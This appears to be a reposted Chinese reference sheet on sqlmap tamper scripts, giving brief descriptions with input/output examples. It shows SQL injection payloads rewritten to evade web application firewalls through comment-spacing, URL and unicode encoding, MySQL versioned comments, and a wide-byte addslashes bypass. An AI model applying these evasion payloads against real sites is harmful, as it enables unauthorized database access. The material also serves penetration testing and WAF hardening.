sqlmap的篡改绕过WAF

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

Example:

* Input: SELECT id FROM users

* Output: SELECT/**/id/**/FROM/**/users

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

Notes:

* Useful to bypass weak and bespoke web application firewalls

——————————————————————————-

charencode.py

url编码

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

Notes:

* Useful to bypass very weak web application firewalls that do not

url-decode the request before processing it through their ruleset

* The web server will anyway pass the url-decoded version behind,

hence it should work against any DBMS

—————————————————————————————

charunicodeencode.py

字符串 unicode 编码

Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

* ASP

* ASP.NET

Tested against:

* Microsoft SQL Server 2000

* Microsoft SQL Server 2005

* MySQL 5.1.56

* PostgreSQL 9.0.3

Notes:

* Useful to bypass weak web application firewalls that do not

unicode url-decode the request before processing it through their

ruleset

——————————————————

space2hash.py

空格替换为#号 随机字符串 以及换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by

a random string and a new line (‘\n’)

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL

Tested against:

* MySQL 4.0, 5.0

———————————————–

space2morehash.py

空格替换为 #号 以及更多随机字符串 换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by

a random string and a new line (‘\n’)

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL >= 5.1.13

Tested against:

* MySQL 5.1.41

——————————————

space2mssqlblank.py(mssql)

空格替换为其它空符号

Example:

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

Requirement:

* Microsoft SQL Server

Tested against:

* Microsoft SQL Server 2000

* Microsoft SQL Server 2005

# ASCII table:

#   SOH     01      start of heading

#   STX     02      start of text

#   ETX     03      end of text

#   EOT     04      end of transmission

#   ENQ     05      enquiry

#   ACK     06      acknowledge

#   BEL     07      bell

#   BS      08      backspace

#   TAB     09      horizontal tab

#   LF      0A      new line

#   VT      0B      vertical TAB

#   FF      0C      new page

#   CR      0D      carriage return

#   SO      0E      shift out

#   SI      0F      shift in

————————————————-

space2mysqlblank.py

空格替换其它空白符号(mysql)

Replaces space character (‘ ‘) with a random blank character from a

valid set of alternate characters

Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

Requirement:

* MySQL

Tested against:

* MySQL 5.1

#   TAB     09      horizontal TAB

#   LF      0A      new line

#   FF      0C      new page

#   CR      0D      carriage return

#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)

#   –       A0      -                   (MySQL only)

———————————————————————————-

chardoubleencode.py 双url编码(不处理以编码的)

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

———————————————————————————

percentage.py

asp允许每个字符前面添加一个%号

Adds a percentage sign (‘%’) infront of each character

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:

* ASP

Tested against:

* Microsoft SQL Server 2000, 2005

* MySQL 5.1.56, 5.5.11

* PostgreSQL 9.0

————————————————————

randomcase.py 随机大小写

Replaces each keyword character with random case value

Example:

* Input: INSERT

* Output: InsERt

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

—————————————————

randomcomments.py

用/**/分割sql关键字

Add random comments to SQL keywords

Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’

————————————————————-

versionedmorekeywords.py 注释绕过

Encloses each keyword with versioned MySQL comment

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

* MySQL >= 5.1.13

————————————————————————

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:

* MySQL

———————————————————————-

unmagicquotes.py 宽字符绕过 GPC  addslashes

Replaces quote character (‘) with a multi-byte combo %bf%27 together with

generic comment at the end (to make it work)

Example:

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

Notes:

* Useful for bypassing magic_quotes/addslashes feature

——————————————————————————–

equaltolike.py

like 代替等号

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

—————————————————————————-

关键字前加注释

halfversionedmorekeywords.py

Example:

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa

Requirement:

* MySQL < 5.1

Tested against:

* MySQL 4.0.18, 5.0.22

原文地址：http://www.myhack58.com/Article/html/3/7/2013/39321.htm